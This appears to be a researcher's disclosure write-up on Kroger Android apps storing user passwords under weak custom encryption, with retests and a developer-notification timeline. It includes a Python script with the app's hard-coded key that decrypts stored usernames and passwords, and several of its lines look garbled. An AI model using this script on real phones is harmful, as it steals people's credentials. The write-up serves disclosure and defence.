Kroger Android Apps Encryption Flaw

Installing the App

Here are the apps I installed, from Google Play.

Kroger App


I tested all the Kroger apps listed below, and they all stored credentials in the same insecure way.

Viewing the Locally Stored Password

Using the app, I made a test account.

Using Android Debug Bridge, I connected to the phone and retrieved the locally stored credentials as shown below.

The credentials are stored in an encrypted form, as shown below.

Analysis and Recommendations

At this point, the likely conclusion is clear: the Kroger app is insecure, because it stores the password on the phone using custom encryption. As discussed here, passwords should not be stored on the phone at all. Because users re-use passwords, they are very sensitive information and handling them carelessly is a disservice to your customers. Locally stored passwords could be stolen by malware on the phone, or by simply stealing the phone itself. Instead, a random cookie should be stored on the phone, which is useless at any company other than Kroger.

This is the #2 most important security vunerability on mobile devices, according to OWASP.

If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.

The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Kroger, and making a simple Python script that decrypts the password.

Decompiling the Android App

I used apktool to decompile the app, add extra logging entries, and recompile it, as I did earlier with the Staples app.

Decrypting the Data

I wrote a simple Python script to decrypt the stored data, as detailed below.

Here's the script recovering credentials from the Krogers app:

Python Script to Decrypt the Locally Stored Data

Putting it all together, this script does the complete reversal, using only the locally stored data.
from Crypto.Cipher import AES
import pbkdf2 

infile = raw_input("Input file (from shared_prefs/ [] ")
if infile == '':
    infile = ''

with open(infile) as f:
    content = f.readlines()
content = [x.strip() for x in content] 

oneline = ''
for line in content:
  oneline += line

print "Here's the data the app stores on your phone:"

s1 = ""
d1 = oneline.find(s1)
d2 = oneline.find("", d1)
cred = oneline[d1 + len(s1) : d2]

d1 = cred.find(";")
blob1 = cred[0:d1-4]

d2 = cred.find(";", d1+1)
d3 = cred.find(";", d2+1)
blob2 = cred[d1+2:d2-4]
blob3 = cred[d2+2:d3-4]

# print "Blob1 ", blob1
# print "Blob2 ", blob2
# print "Blob3 ", blob3

print "Decrypting it yields:"

salt = blob1.decode("base64")
iv   = blob2.decode("base64")
ciphertext = blob3.decode("base64")

pw = '64BCE401-8A76-4B07-BB03-F64A1F36F3D8'
secret_key = pbkdf2.PBKDF2(pw, salt, 2500).read(32)

n = len(iv)
iv = iv[n-16:n]

cipher =, AES.MODE_CBC, iv)
basic = cipher.decrypt(ciphertext)

# print "Basic: ", basic

n = basic.find(";")
username = basic[0:n]
password = basic [n+1:]

# print "Username: ", username
# print "Password: ", password

print "Username: ", username.decode("base64")
print "Password: ", password.decode("base64")

Developer Notification

I notified the developer of this problem on 4-24-17, as shown below.

Retest on June 19, 2017

I got no answer from Kroger. I re-tested the app to see if the problem was fixed.

I tested this version:

The app still stores the same data on the phone, but the delimiters between the fields have been changed. The previous error, URL-encoding line feeds, has been corrected.

A trivial update to the Python script results in the same result: the password is easily recovered from the data stored on the phone.

Retest on 7-28-17

I tested version 12.4, updated on June 14, 2017 (the same version as above) and it stored the password in the same manner as the original app I tested at first. Apparently there are two storage formats with different delimiters, even for the same version.
Posted 4-24-17 by Sam Bowne
Updated with retest 6-19-17
Updated with retest 7-28-17